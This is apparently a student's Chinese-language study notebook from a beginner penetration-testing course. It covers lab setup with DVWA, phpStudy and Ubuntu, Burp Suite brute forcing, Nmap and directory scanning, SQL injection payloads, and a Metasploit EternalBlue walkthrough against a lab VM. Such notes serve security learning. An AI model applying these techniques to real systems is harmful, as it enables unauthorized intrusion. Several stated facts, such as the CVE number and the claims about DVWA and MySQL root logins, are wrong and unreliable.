小秋求学记.头像
关注

初级总笔记

第一天

一、前提

1. 渗透测试

要点内容
定义获得授权后对系统进行的合法测试
与黑客的本质区别是否有授权
三种方法黑盒(仅给网址)/ 白盒(给全部源码)/ 灰盒(给部分信息)
两个场景预防性测试(发布前)/ 应急响应(被攻击后)

⚠️ 法律红线:扫描未授权网站也违法;法律不看身份,只看是否造成实际损害。只观察不修改

2. 信息安全三要素(CIA)

要素含义
机密性信息不泄露(加密是关键手段)
完整性数据不被篡改或丢失
可用性服务可正常访问

3. 核心术语

术语一句话理解
漏洞源代码/设计的缺陷(墙上的裂缝)
威胁潜在的危险因素(找裂缝的人)
攻击利用漏洞的恶意行为
POC验证漏洞是否存在的代码(“证明有个洞”)
EXP实际利用漏洞的代码(“钻洞搞事情”)
后门攻击者留的隐蔽访问入口(不走正门)
反弹Shell让目标主机主动连接攻击者,绕过防火墙(出站连接拦截少)
木马表面无害暗藏恶意的程序(伪装者)
蠕虫自我复制传播的病毒(熊猫烧香)
社会工程学利用心理弱点诱骗(银狐木马、钓鱼)

二、URL 与 DNS

1. URL 结构

协议://域名:端口/路径?参数=值&参数=值#锚点

部分说明
协议http(普通快递)/ https(加密快递)/ ftp(货运车)
域名门牌号,DNS 转换为 IP
端口服务器的"门铃号码"
路径相对于服务器根目录,非绝对路径
参数? 后,多个用 & 连接
锚点# 后,定位页面区块,不参与参数传递

2. 常见默认端口(记住)

端口服务
80HTTP
443HTTPS
3306MySQL
22SSH
23Telnet
53DNS

⚠️ 端口没有绝对协议绑定关系,可以修改。改了端口访问时记得加端口号。

3. DNS 解析完整流程

浏览器缓存 → hosts文件 → 本地DNS服务器 → 根DNS(.) → 顶级DNS(.com) → 权威DNS
  ↑____________________________ 逐级返回结果 ____________________________↓

  • 递归查询:客户端 → 本地DNS(全权委托,必须给最终答案)

  • 迭代查询:本地DNS → 上级DNS(上级只指引下一级该问谁)

  • 全球仅 13 台根服务器

4. 安全视角的路径知识

路径/文件安全意义
/upload/上传文件目录
/admin/后台目录
/backup.zip备份文件(可能泄露敏感信息)
/robots.txt爬虫协议,禁止访问的路径反而暴露真实目录结构

三、HTTP 协议

1. 请求报文结构

请求行:GET /index.html HTTP/1.1
请求头:键值对,冒号分隔
空行
请求体:POST 数据

2. 常见请求头

请求头作用
Host目标域名
User-Agent浏览器"身份证",反爬虫依据
Referer来源页面(注意拼写是 Referer)
Content-Type数据格式说明书
Cookie会话标识

3. Content-Type 常见值

场景
application/jsonJSON 接口
application/x-www-form-urlencoded普通表单
multipart/form-data文件上传
image/jpeg图片

🔑 文件上传漏洞:把 php 文件的 Content-Type 改成 image/jpeg 可绕过服务器校验。

4. 响应报文与状态码

响应行:HTTP/1.1 200 OK
响应头:Content-Type / Set-Cookie
空行
响应体

首位含义常见
2xx成功200
3xx重定向301永久 / 302临时
4xx客户端错误404找不到 / 403禁止
5xx服务器错误500内部 / 502网关

遇到 500 先排查服务是否启动,不是代码写错。4xx 找前端,5xx 找后端。

5. GET vs POST

维度GETPOST
参数位置URL 可见请求体不可见
安全性相对安全(抓包仍可见)
长度有限制无严格限制
幂等性✅ 幂等❌ 非幂等
场景查询数据提交敏感/大量数据

没有绝对安全的传输方式,POST 只是相对隐蔽。

6. Cookie / Session / Token

登录 → 服务器建 Session + 生成 Session ID
→ Set-Cookie 发给浏览器
→ 后续请求自动携带 Cookie
→ 服务器校验 Session ID 是否存在、是否过期

机制存储位置验证方式
Cookie浏览器端自动携带
Session服务器端查存储
Token不存储算法实时验证(公私钥加密)

⚠️ 别人拿到你的 Cookie 可冒充身份登录。


第二天

一、加密基础

1. 明文 vs 密文

  • 明文:原始可读信息(admin、password)

  • 密文:算法处理后的乱码

2. 编码 vs 加密 vs 哈希 vs 压缩

概念是否有密钥是否可逆用途
编码格式转换(Base64、URL编码)
加密机密性保护
哈希❌ 单向完整性校验、密码存储
压缩省空间、快传输
  • 哈希特性:雪崩效应(改一个字符结果完全不同)、固定长度输出

  • 编码≠加密:编码是公开规则,加密需要密钥

3. 加密要素

加密 = 算法 + 密钥
算法:转换规则(如字母移位)
密钥:算法的具体参数(如移2位)

4. 对称加密

特点内容
定义加解密用同一把密钥
优点简单高效
缺点密钥分发问题——怎么安全传密钥?(死循环)

5. 非对称加密(公钥加密体系)

公钥:可以公开给所有人
私钥:必须严格保密

两句口诀:

公钥加密保内容,私钥加密保身份

用途加密用解密用
保密通信对方公钥自己私钥
数字签名自己私钥对方公钥

HTTPS 实际运用:非对称加密安全传递对称密钥 → 后续数据用对称加密(快)。

6. 中间人攻击(MITM)

中间人同时欺骗双方:
对 A 假装是 B,对 B 假装是 A
→ 伪造公钥 → 窃听/篡改

本质:缺乏身份验证,无法确认公钥归属。 解决:数字证书 + CA 机构。

7. 数字证书与 CA

网站向 CA 申请 → CA 验证域名所有权
→ CA 用私钥对网站公钥签名 → 生成证书
→ 用户用 CA 公钥验证签名

  • 证书不可伪造(没有 CA 私钥)

  • 证书不可篡改(篡改后验签失败)

  • 结构:根CA → 中间CA → 网站证书

8. HTTPS 完整通信流程(5步)

① DNS 解析
② TCP 三次握手(SYN → SYN+ACK → ACK)
③ TLS 握手:Client Hello → Server Hello + 证书 → 客户端验证证书 → 密钥交换 → 双方各自算出相同对称密钥
④ 加密数据传输
⑤ TCP 四次挥手

密钥协商关键:双方不直接传递密钥,通过算法+随机数各自独立计算出相同密钥。


二、HTTPS 抓包配置

1.Burp Suite 抓取 HTTPS

为什么抓不到?
浏览器校验证书 → 未安装 Burp 证书 → 拒绝连接

解决步骤:
① 用 http://burpsuite 下载证书(注意是 http 不是 https)
② 火狐:设置 → 高级 → 管理证书 → 颁发机构 → 导入
③ 选择"受信任的位置"
④ 🔄 重启浏览器(必须!)
⑤ 验证:访问百度 → 页面转圈 → 拦截到 https:// 请求 ✅

失败处理:系统级导入
搜索"管理用户证书"→ 受信任的根证书颁发机构 → 右键导入

原理:Burp 冒充服务器与浏览器建立 HTTPS(用 Burp 证书),再与真实服务器建立 HTTPS(用真实证书),中间解密→修改→重新加密转发。


三、环境搭建

1. phpStudy

要点内容
作用集成环境面板,一键搭建本地服务器
核心优势一键切换 PHP 版本
根目录安装目录下的 www 文件夹
中间件Apache / Nginx 只能启动一个(80端口冲突)
验证浏览器访问 127.0.0.1 → 看到欢迎页面 ✅

2. 端口冲突解决

场景解决
80 端口被占用修改 Apache 端口为 81
MySQL 3306 被占用修改为 3307
改端口后访问加端口号(localhost:81)

3. DVWA 靶场搭建

① 从 GitHub 下载 DVWA 源码
② 放入 phpStudy 的 www 目录
③ 重命名为小写 dvwa
④ 复制 config/config.inc.php.dist → config/config.inc.php
⑤ 修改数据库配置:127.0.0.1 / root / 密码 / 3306
⑥ 访问 http://localhost/dvwa/login.php → setup.php → Create/Reset Database
⑦ 登录:admin / password

⚠️ 访问必须带 http:// 协议头,否则被当成搜索内容。

4. VMware + Ubuntu

安装前:❗关闭防火墙和杀毒软件
验证成功:检查 vmnet1 和 vmnet8 虚拟网卡

创建虚拟机关键点:
类型:新手选"典型"
系统:Ubuntu 64位(别选 Redhat)
位置:新建文件夹,避免 C 盘
磁盘:60G(不会立即占满)
镜像:下载好的 Ubuntu ISO

版本推荐:22.04 LTS / 24.04 LTS(26 太新不推荐)
鼠标丢失:Ctrl+Alt 找回

为什么推荐 Ubuntu:可快速切换 PHP 版本,适合多漏洞复现(红帽需反复卸载安装)。

5. 数据库连接排查

① MySQL 服务是否启动?
② 端口是否被占用?(netstat)
③ 配置文件用户名/密码是否正确?
④ 配置文件端口是否匹配?
⑤ 弱密码(root/123456)是渗透测试常见突破口


第三天

一、Windows 基础环境

1. PHPStudy 启动问题

  • 根本原因:之前安装过 MongoDB 等数据库导致参数冲突
  • 排查:查看日志定位报错参数(系统反复报错某个参数,不是真启动失败)
  • 解决:① 卸载冲突数据库 ② 用 cloud 环境规避本地冲突

2. 管理员权限

  • Windows 中以管理员身份运行程序至关重要
  • 用管理员权限的 PowerShell 才能执行 open code 等命令(涉及注册表修改)
  • 案例:有人和 Claude AI 纠缠 2 个月的问题,本质是权限问题

3. MySQL 服务启动失败

  • 主因:参数格式错误(非标准 --参数 格式),比端口冲突更隐蔽
  • 注意:不要轻信免费 AI 诊断,推荐用 GLM 模型,结构化提问

4. MySQL 环境混乱

  • 多版本 MySQL(5.7/8.0)+ MongoDB 共存 → 端口冲突
  • 建议:保留一个主要版本,卸载冗余软件

二、DVWA 环境搭建

1. 初始化流程

访问 http://localhost/dvwa/login.php
→ setup.php 页面 → 点击 “Create/Reset Database”

2. 报错关键点

  • 报错不是 MySQL 版本低的问题(升级到 8.0.12 仍报错)
  • DVWA 官方推荐 MongoDB,不是 MySQL —— 报错根源
  • “is not” 类语法报错 = 语句不兼容(MongoDB 语法用在 MySQL)

3. 修改配置原则

  • 不建议系统自动修改,手动修改更安全
  • 先备份原文件(config.inc.php.dist)

三、Ubuntu 系统基础

1. Ubuntu 登录

  • 与红帽不同:Ubuntu 默认不设 root 密码
  • 用安装时创建的普通用户登录

2. 设置 root 密码

sudo passwd root    # 必须提权

3. 远程连接工具

① 新建主机连接 → ② 输入IP(192.168.50.158)→ ③ SSH 22端口 → ④ root/密码


四、SSH 远程连接与排查

1. 连接失败排查两步走

① ping 测试网络连通性(虚拟机 ↔ 网关)
② systemctl status sshd   检查服务是否开启

比喻:有钥匙(账号密码)但门锁没安装(服务未开启)也进不去

2. 服务安装与启动

apt update        # 需先 su root 切换(普通用户权限不足)  
apt install ssh   # 安装SSH
  • 装完默认 sshd 不启动,需排查:防火墙 → SELinux → 端口占用

3. 防火墙(对比记忆)

Ubuntu红帽
ufwfirewalld
systemctl disable ufwsystemctl disable firewalld

4. SELinux

setenforce 0      # 宽松模式(命令缺失时先按提示安装工具)

5. 允许 root 远程登录(必考操作)

vim /etc/ssh/sshd_config  
# 找到 PermitRootLogin(注意P大写)  
# no → yes  
:wq  
systemctl restart sshd    # 必须重启才生效!

6. 最小化安装

  • U盘库属于最小化安装,很多组件需手动补全
  • 粘贴功能受限时改用 OpenSSH 优先建立连接

五、文件传输与解压缩

1. 传输方式

2. tar 解压(参数易错)

tar -xzvf 文件.tar.gz     # gzip(-z)
tar -xjvf 文件.tar.bz2    # bzip2(-j)
tar -xvf 文件.tar         # 无压缩
unzip 文件.zip

  • 建议显式指定参数,系统自动识别不靠谱
  • -G(大写gzip旧版)vs -g(小写旧格式)容易混淆

六、Nginx 源码安装

1. 三步流程

./configure       # 检查环境、依赖(--prefix 自定义路径)  
make              # 编译  
make install      # 安装到 /usr/local/nginx

2. 准备工作

tar -xvf nginx.tar.gz  
apt install gcc make wget    # 编译工具

3. 依赖处理

  • 缺 pcre 库:apt install pcre*(不确定版本就通配)
  • 报错复制内容直接搜索最快
  • 依赖必须装全再编译

4. 验证安装

cd /usr/local/nginx/sbin  
./nginx  
curl 127.0.0.1    # 看到 "thank you for using nginx" 即成功

5. 重载配置

/usr/local/nginx/sbin/nginx -s reload
  • 源码安装没有 systemd 服务,不能 systemctl,必须手动到 sbin 目录

七、PHP 环境与 PHP-FPM

1. Nginx 不能解析 PHP

  • 遇到 .php 直接返回源码(浏览器变成下载)→ 需交给 php-fpm
  • 原理:Nginx → fastcgi_pass 127.0.0.1:9000 → php-fpm

2. 配置关键点

  • 监听地址:listen = 127.0.0.1:9000,改完必须 restart
  • 注释符号:用 ; 分号,不是 # 井号(易错点)
  • 检查端口:ss -antulp | grep 9000

3. 查找配置文件

grep -rn "fastcgi_pass" /etc/
  • -n 显示行号;搜索内容放命令最后;范围太大时缩小到具体目录

4. Vim 批量操作

:set nu          " 显示行号  
:65,71s/#//g     " 批量删除65-71行的#号

5. FastCGI 路径修正

$document_root$fastcgi_script_name    # 关键配置

6. 验证 PHP 解析

  • 建 test.php → 浏览器访问:正常显示=成功;出现下载提示=未联通

7. 多版本 PHP

  • 用完整服务名:systemctl status php8.5-fpm
  • 版本切换:update-alternatives --config php
  • 旧版本需手动添加特殊源(如 ppa:ondrej/php)

八、MariaDB 数据库

1. 安装与启动

apt install mariadb-server mariadb-client  
systemctl status mariadb    # active = 运行中  
mariadb                     # 初始 root 无密码,直接进

2. 设置 root 密码

ALTER USER 'root'@'localhost' IDENTIFIED BY 'openweb123';  
FLUSH PRIVILEGES;    -- 必须刷新才生效!

3. 反向验证密码(重点技巧)

① 重启 mariadb
② 切回普通用户
③ 用错误密码登录 → 被拒 = 密码生效 ✅
④ 正确密码登录验证

4. root 特性

  • root 输错密码也能登录是设计特性,普通用户必须严格验证
  • 生产环境不用 root 连库,遵循最小权限原则

九、权限问题

1. 403 错误

  • 文件权限不足 → chmod
  • 属主不匹配:nginx 跑 nobody、php 跑 www-data
ps -aux | grep nginx    # 查看运行用户  
chown www-data:www-data 文件  
chmod 777 文件          # 临时测试

2. 500 错误 → 服务端配置问题

3. 文件上传失败

  • 普通用户 SSH 登录后即使 su root 也传不上 /opt —— 会话初始用户决定传输权限

十、DVWA 部署全流程

① 移动目录

mv DVWA-master /usr/local/nginx/html/dvwa 

② 复制配置文件

cd dvwa/config  
cp config.inc.php.dist config.inc.php  

③ 编辑配置(改数据库密码)

vim config.inc.php  

④ 访问 setup.php → Create/Reset Database

! 访问失败先排查:文件权限 + 属主 + 数据库是否存在

  • 代码连接 “dvwa” 数据库但不存在 → 必须先跑 setup.php 初始化

十一、Docker

1. 核心价值

  • 解决"在我机器能跑,你机器报错"的环境差异
  • 镜像 = 打包好的环境"盒子"

2. 基础命令

docker pull 镜像名    # 拉取(Docker Hub 中央仓库)  
docker images         # 查看本地镜像  
docker run 镜像名     # 运行

3. 国内拉取镜像

  • 官方源大概率失败 → 配置国内镜像加速器(阿里云等 daemon.json)
  • 或 VPN:单独给 Docker 配代理 / 系统级代理(改 ~/.bashrc)

4. 渗透测试定位

  • 不用深入底层原理,掌握基本命令能拉能用即可
  • 普通用户运行 Docker 会创建无根容器

十二、网络配置与排错

问题要点
NAT 模式虚拟机 IP 必须和主机 VMnet8 同网段(192.168.x.x)
DNS 错误127.0.0.1 会导致 apt update 失败;用 8.8.8.8 / 114.114.114.114
桥接模式手机热点作网络源需特殊设置
系统快照操作前先建快照,出错快速恢复
排错顺序确认初始状态 → DNS → 对比不同设备表现
密码管理不同系统密码分开管理;root 初始无密码
sudo su root普通用户切 root 用 sudo su root + 当前用户密码

第四天

一、靶场环境搭建(DVWA + PHPStudy)

1. 环境要求

  • DVWA:专门用于网络安全学习的集成靶场,包含多种 Web 漏洞
  • 漏洞等级:Low → Medium → High → Impossible(等级越高防御越强)
  • 初始化:访问 setup.php → 配置完成 → 用 admin 登录
  • 数据库要求:MySQL 8.0 以上版本

2. MySQL 版本不兼容的两种解决方式

方案一:替换组件

  • 官网下载 Windows 高版本 MySQL 压缩包 → 替换 PHPStudy 中的 MySQL 目录 → 重新配置环境变量

方案二:修改 SQL 语句

  • 复制报错信息 → 向技术支持求助(说明是基于 PHPStudy 搭建的 DVWA)
  • 或直接编辑 DVWA 安装目录 database/ 文件夹下的 dvwa.sqlsetup.sql

3. 数据库查看(phpMyAdmin)

  • phpStudy 软件管理中为 DVWA 安装 phpMyAdmin → 通过 IP:端口 访问
  • 输入 MySQL 用户名密码 → 图形化查看表结构和数据

二、远程连接与服务管理

1. SSH 远程连接流程

  1. 点击 SSH → 添加服务器
  2. 输入目标 IP 地址(不能输错)、连接名称、用户名、密码
  3. 测试连接进入服务器界面
  4. 支持路径跟踪、文件拖拽上传、编辑修改密码

2. 常用端口命令

命令用途
ss -antpl | grep 9000查看 php-fpm 是否运行
netstat基础端口查询
lsof -i:80检查 nginx 80 端口
  • 源码安装的服务需手动到安装路径启动二进制文件
  • 不同工具查端口可能显示差异,建议交叉验证

3. 常用端口对照

端口服务
22SSH
53DNS
80HTTP
3306MySQL
443HTTPS

三、Burp Suite 核心功能

1. 代理抓包

  • 127.0.0.1 抓不到包(回环流量不经过网卡)
  • 必须使用本机真实 IP(如 WiFi 分配的 10.100.38.215)

2. 请求拦截与修改

  • 拦截登录请求 → 定位关键参数(如密码字段)→ 修改数据
  • 操作:放行(Forward 原样转发)/ 丢弃(Drop 拒绝)
  • 可绕过前端验证,直接测试服务器端响应

3. Repeater(重放器)

  • 右键抓到的包 → Send to Repeater
  • 可独立工作、不依赖原页面,反复修改请求并查看响应报文
  • 响应报文可能默认折叠,需手动展开

4. Intruder(暴力破解模块)四种模式

模式说明适用场景
Sniper 狙击手单点测试,逐行读取字典已知用户名爆破密码(最常用)
Battering Ram 攻击锤同一字典同时填充多个参数相同值填入多位置
Pitchfork 音叉多字典按序号对应赋值多个参数按行配对
Cluster Bomb 集束炸弹全排列组合参数关系不确定

5. 破解结果判断

  • 大多数错误密码响应长度相同(如 4772),出现异常长度(如 4815)的值 → 很可能是正确密码

四、暴力破解与密码字典

1. 暴力破解两种方式

方式说明特点
单账号多次尝试对同一账号试大量密码容易被检测、触发预警
字典攻击(密码喷洒)大量用户名 × 每账号一次预设密码更难被发现

2. 学校系统初始密码风险

  • 学号公开(公示名单未脱敏)+ 初始密码简单(123456)+ 学生不改密码 → 安全隐患

3. Crunch 字典生成工具

crunch [最小长度] [最大长度] [模式] -o [输出文件]
crunch 4 4 % -o digit4.txt   # 生成4位数字字典

  • 占位符:@ = 小写字母,% = 数字
  • 也可以直接从 GitHub 等平台下载现成字典

4. 数据库查询账户

mysql -u root -p
use dvwa;
show tables;
select * from users;

  • 注意 DVWA 中除默认账户外还有隐藏账户,需仔细排查

五、信息收集

1. 收集内容(六大方向)

  1. 子域名:挖掘三级子域名
  2. 开放端口:扫描端口及服务
  3. 域名注册信息:WHOIS(公司名、注册地、邮箱)
  4. 备案信息:节点、联系人、服务商
  5. 同 IP 其他服务:一个服务器通常托管多个网站
  6. 搜索引擎:Google Hack 语法找敏感信息

2. 子域名枚举

  • 主站防护严密,子域名往往是突破口(废弃测试页缺乏维护)
  • 原理:字典爆破常见前缀(www、mail、lawyer 等),能访问通 = 子域名存在
  • 工具:L2 子域名挖掘机、OneForAll(需 API)、Python 脚本
  • 注意:须在授权范围内操作,枚举消耗大量系统资源(可尝试 16 万次组合)

3. CDN 检测(超级 Ping)

  • 从全球多地 ping 目标域名:
  • 返回多个 IP → 启用了 CDN
  • 返回单一 IP → 未用 CDN,该 IP 为真实服务器地址

4. DNS 记录类型

记录说明
AIPv4 地址
AAAAIPv6 地址
NS域名服务器
  • whois 命令 / 站长之家:查域名所有者、注册商、注册时间、备案信息
  • 一个 IP 常托管多个网站,可通过 IP 反查同服务器其他服务

5. Google 高级搜索语法

语法作用示例
site:限定域名site:peihua.cn
filetype:限定文件类型filetype:pdf
"关键词"精确匹配"学号"
-关键词排除学号 -身份证
before: / after:日期筛选after:2026

核心规则:

  • 运算符后不能有空格site:域名 ✓,site: 域名 ✗)
  • 空格分隔的关键词是"与"关系
  • 双引号精确匹配;减号排除;运算符可组合使用

6. 黑暗搜索引擎

  • 钟馗之眼、撒旦(Shodan)、Fofa:可搜索公网暴露设备、摄像头等
  • 注意隐私和法律问题

六、目录扫描与端口扫描

1. 目录扫描

  • 原理:枚举拼接路径 → 200 存在 / 404 不存在
  • 工具:Gobuster、dirb、Kali 自带工具
  • 常用参数:
    • -x:指定后缀(.php,.sql,.conf
    • -O:结果输出到文件
    • -Z:设置请求间隔(防检测)
  • 字典:big.txt 全面覆盖、small.txt 快速测试

2. C 段扫描

  • 同一 C 段:192.168.50.0/24(注意用 0 不是 1)
  • 流程:探测存活主机 → 检查开放端口 → 识别服务
  • 先指定常用端口(80、3306)可大幅提升效率;扫全端口(0-65535)速度显著下降

七、Nmap 详解

1. 语法结构

nmap [扫描类型] [选项参数] [扫描目标]

2. 参数速查表

参数说明特点
-sSTCP SYN 半连接扫描只完成三次握手前两步,快、隐蔽
-sTTCP 全连接扫描完整三次握手,准但易被发现
-sUUDP 扫描针对无连接协议
-sV服务版本探测显示服务类型和版本号
-sn仅主机发现不扫端口,快速确认在线主机
-sL列表扫描只检查主机存活
-p-全端口扫描1-65535
-p 22,80指定端口精准扫描
-T0~T5速度控制越慢越准,越快可能漏检

3. SYN 扫描原理(三次握手)

正常握手:SYN → SYN-ACK → ACK(完成连接)
SYN扫描:SYN → SYN-ACK → RST(收到响应即判定开放,直接断开)

4. 实操示例

nmap 192.168.50.158                     # 常见端口  
nmap -sV 192.168.50.158                 # 服务版本(如 Apache 2.4.39 win64)  
nmap -sn 192.168.50.0/24                # 网段主机发现  
nmap -p 80,3306 192.168.50.1-160        # 多 IP 指定端口

八、渗透测试实战流程

Step 1:信息收集

  • 子域名枚举 → 找隐藏入口
  • Nmap 端口扫描 → 确认服务
  • 目录扫描 → 找应用路径

Step 2:访问目标

http://IP地址/dvwa

Step 3:初始化与登录

  • setup.php 初始化 → admin 登录

Step 4:暴力破解

  • 打开 DVWA 暴力破解模块 → Burp 抓包 → 发到 Intruder → 加载字典 → 开始爆破

Step 5:分析结果

  • 响应长度排序,异常长度值即为正确密码

九、调试与模式切换(Plan / Build)

模式作用权限
Plan 计划模式预检查、审查修改方案无执行权限(默认)
Build 执行模式直接执行修改需权限确认(Tab 切换)

操作规范:

  1. 先切 Plan 模式预检查,别直接执行
  2. 审查系统推荐方案 → 人工复核修改计划
  3. 再切 Build 模式执行(权限确认必须选"允许")
  4. 权限不足不要强行操作
  5. 直接执行可能破坏原有正常功能

十、其他要点

1. 信息安全意识

  • 个人信息泄露普遍:公开 PDF 未脱敏、闲鱼卖快递信息、社工库(纸飞机签到查询)
  • 防范:改初始密码、不点不明链接、不装可疑软件

2. 接码平台

  • 国内手机号收不到 Telegram 等验证码 → 需接码平台(如 0.2 美元租 15 分钟)
  • 高敏感词(ChatGPT)在闲鱼等平台易导致封号

3. Open Code 会话恢复

open code -L               # 查看历史会话列表  
open code -S [session_id]  # 恢复指定会话

4. 渗透测试注意事项

  • 必须在合法授权范围内操作
  • 不要集中扫描公共网站(如百度)
  • 高频测试容易触发系统防护
  • 代理配置和网络环境会影响测试结果

附:核心命令速查

端口检查

ss -antpl | grep 9000  
lsof -i:80  

信息收集

nslookup 域名          # A 记录查询  
whois 域名             # 域名注册信息  
nmap -sn 192.168.50.0/24  

目录扫描

gobuster dir -u http://目标IP/dvwa -w big.txt -x .php,.conf  

字典生成

crunch 4 4 % -o 4digit.txt  

数据库

mysql -u root -p  
select * from users;

第五天

一、环境搭建与靶场部署

1.靶场环境

靶场用途部署方式
SQL Lab(SQL注入靶场)SQL注入练习文件放到 LNMP 环境的 html 目录下(类似 DVWA 部署)
Win7 系统永恒之蓝漏洞演示安装 Win7 虚拟机(可选)

2. Nginx 要点

操作命令/说明
启动进入 sbin 目录执行 ./nginx
检查`ss -antulp \grep 80`,80端口监听即正常
重启修改配置后必须 ./nginx -s reload
部署路径靶场文件放 html 目录,误传 /opt 会无法访问
index.phpNginx 默认不识别,需在配置中添加 index.php

3. 文件部署技巧

  • unzip 解压后目录名过长会导致 URL 冗长(http://IP/很长的目录名/login.php
  • mv 重命名目录缩短路径
  • SQL Lab 部署需找到核心配置文件(sql_link_connect_connections)修改数据库连接信息

4. phpStudy(小皮面板)

  • 方便切换 PHP 版本;默认账号密码 root/root

  • 保存配置后必须重启 phpstudy 服务

  • 注意实时检查当前数据库和 PHP 版本是否匹配

5. 虚拟机间文件传输

方案一:宿主机中转(效率低)

方案二:临时 HTTP 服务(推荐)

python -m http.server 8080
  • Win7 通过浏览器访问 http://[攻击机IP]:8080 下载
  • 建议建共享文件夹限制可见范围
  • 注意区分:木马监听端口 ≠ HTTP 传输端口

二、Linux 服务管理

1. systemctl 管理机制

  • systemctl 能管理某服务的前提:存在对应的 .service 文件
  • 系统自带服务的 .service 文件在 /lib/systemd/system/ 目录(如 ssh.service)
  • 源码安装的 nginx 默认没有 service 文件,需手动编写

2. find 命令

find [路径] -type f -name "*.service"
  • -type f:普通文件;-name:按文件名匹配,支持 * 通配符
  • 可配合管道筛选:find / -type f -name "*.service" | grep ssh

三、Metasploit Framework(MSF)

1. 核心概念

  • MSF 是功能全面的渗透测试集成工具(“黑客工具大礼包”/瑞士军刀)
  • 分为 7 大模块:辅助(auxiliary)、漏洞利用(exploit)、payload、编码器(encoder)、后渗透(post)、NOP、规避
  • 进入控制台看到 msf 提示符即成功;首次启动加载慢属正常

2. 常用命令

命令作用示例
search [关键词]搜索模块search ms17-010
use [编号]选择模块use 0
show options查看参数标 Yes 且为空的必填
set [参数] [值]设置参数set RHOSTS 192.168.50.160
run / exploit执行模块启动扫描/攻击
search -f [关键词]post 模块搜索search -f checkvm

关键参数RHOSTS(目标IP)、LHOST(攻击机IP)、LPORT(监听端口)、THREADS(线程数)

3. 永恒之蓝(MS17-010)复现

背景

  • 漏洞编号 MS17-010(CVE-2014-0144),针对 SMB 协议特定旧版本
  • 成因:SMB 栈溢出过多,系统执行恶意命令
  • 永恒之黑(CVE-2020-0796)需特定 Win10 版本

完整流程

msfconsole  
search ms17-010          # 找扫描模块  
use 0                    # 选择辅助模块  
set RHOSTS 192.168.50.160  
run                      # 扫描确认漏洞存在  
back  
search ms17-010          # 找利用模块  
use [编号]               # 选 exploit 模块  
set RHOSTS 192.168.50.160  
run                      # 获取 shell

验证控制权:进入目标后执行 ipconfig;可在目标 C 盘创建文件验证

注意

  • 扫描只是验证漏洞存在性,真正利用要再查攻击模块
  • 版本信息决定漏洞存在可能性

4. 后渗透(Post)

  • 前提:已获取目标权限
  • 常用工具:check_vm(检测虚拟机)、app 扫描(查已装应用)、截图(默认存 root 目录)、键盘记录
  • 渗透流程:信息收集 → 漏洞扫描 → 漏洞利用 → 获取权限 → 后渗透

5. 生成木马

反向连接(反弹 shell)更隐蔽:目标机主动回连攻击机,出站流量不易被拦截

关键参数

  • -T:连接方式(正向/反向)
  • LHOST:木马回连的攻击机 IP
  • LPORT:回连端口
  • -F:生成 .exe 文件

监听注意:payload 类型必须与生成时一致;LHOST/LPORT 要匹配

弱点:MSF 流量特征明显,易被杀软识别;自带编码器不能真正免杀


四、SQL 注入

1. 原理

  • 本质:用户输入被直接拼接到 SQL 语句执行,攻击者构造恶意输入篡改 SQL 逻辑
  • 经典注入 ' or 1=1 #
原语句:
SELECT * FROM users WHERE id='[输入]'  
注入后:
SELECT * FROM users WHERE id='' or 1=1 #'

单引号闭合原条件 → or 1=1 恒真 → # 注释掉后续 → 返回全部数据

  • 用户输入应被当作数据而非代码执行

2. 数据库基础

结构:数据库 → 数据表(users、emails…)→ 字段(id、username、password)

连接

mysql -u root -p    # 进入 mysql> 环境

常用命令(必须以英文分号结尾)

命令作用
show databases;查看所有数据库
use security;切换数据库
show tables;查看所有表
SELECT * FROM users;查询全部
SELECT username FROM users WHERE id=3;条件查询
SELECT * FROM users ORDER BY 2;按第2列排序

要点

  • SQL 关键字大小写不敏感;字符串值要加引号;列名写错会报错
  • 注释符:#(MySQL)和 --(标准,后必须加空格)

3. 逻辑运算符

运算符含义示例
OR任一满足WHERE id=1 OR id=2
AND同时满足WHERE id=1 AND username='admin'
NOT取反WHERE NOT username='admin'

4. UNION 联合查询(注入核心技巧)

要求:前后两个 SELECT 列数必须一致

判断列数

-- ORDER BY 试探:3 正常、4 报错 → 3列  
SELECT * FROM users ORDER BY 3;   -- 正常  
SELECT * FROM users ORDER BY 4;   -- 报错  
​  
-- UNION SELECT 试探  
SELECT * FROM users UNION SELECT 1,2,3;  -- 正常即3列

列数不一致处理:用固定值补足

-- users 3列、emails 2列  
SELECT * FROM users UNION SELECT 1, email FROM emails;

五、PHP 与数据库配置排查

1. 端口问题

  • MySQL 默认 3306 可能被改成 3307/3308,需在配置中修改为 localhost:3307
  • 排查:先查 MySQL 实际端口 → 核对 PHP 配置端口 → 确认服务运行
  • 本地环境用本机 IP 访问,云服务器用服务器 IP 访问

2. PHP 版本兼容

  • 经典错误mysql_connect() 在新版 PHP 已弃用
  • 解决:切换低版本 PHP(5.3/5.6,需配镜像源)或用 mysqli/PDO
  • 切换后必须重启 phpstudy 服务
  • 低版本已停止维护,注意安全性;优先使用维护中的新版本

3. 权限问题

  • root 权限过高,输错密码也可能登录 → 用普通用户测试密码
  • 创建普通用户后必须正确分配数据库权限

六、Docker 与容器化

1. 解决版本冲突

  • 场景:已有 PHP 8.4 环境,需运行仅支持 PHP 5.6 的老程序
  • 方案:Docker 拉取低版本镜像 → 启动容器(与主机完全隔离)→ 端口映射

2. 端口映射

宿主机 9090 → 容器内部 9000
容器内端口需映射到宿主机端口才能被外部访问

3. 镜像获取

  • Docker Hub 需外网;国内镜像源不稳定;可本地导入打包好的镜像
  • 长期使用建议准备 VPN

4. 常用命令

podman ps    # 查看运行中的容器

附录:核心命令速查

类别命令
Linuxfind / -type f -name "*.service"chmod +xmvunzip
Nginx./nginx./nginx -s reload、`ss -antulp \grep 80`
MSFsearchuseshow optionssetrun/exploitbacksearch -f
MySQLshow databases;use xxx;SELECT ... WHERE/ORDER BY
传输python -m http.server 8080
容器podman psdocker ps

第六天

一、环境搭建(Podman/Docker + Nginx + MariaDB + PHP)

1. 一键安装脚本与版本冲突

  • 脚本自动安装 Podman + Nginx,简化手动配置
  • 常见坑:之前用 apt 装过 Nginx → 版本冲突 → 重启后服务无法访问
  • Nginx 1.22 与 pcre2 存在匹配问题

2. MariaDB 连接配置

  • 源码安装后检查 MariaDB 是否成功
  • 获取连接信息:数据库名 + 密码(手动输入)
  • 容器有隔离性,必须专门配置才能建立连接
  • 9056端口:关键连接端口,仅在容器启动时监听

3. 端口排查技巧

# 检查80端口(Nginx)  
ss -antlp | grep 80  
​  
# 检查9000端口(PHP-FPM)  
ss -antlp | grep 9000  
​  
# 检查应用端口  
ss -antlp | grep 9050
  • 80端口未启动 → 到 /usr/local/nginx/sbin/ 目录运行
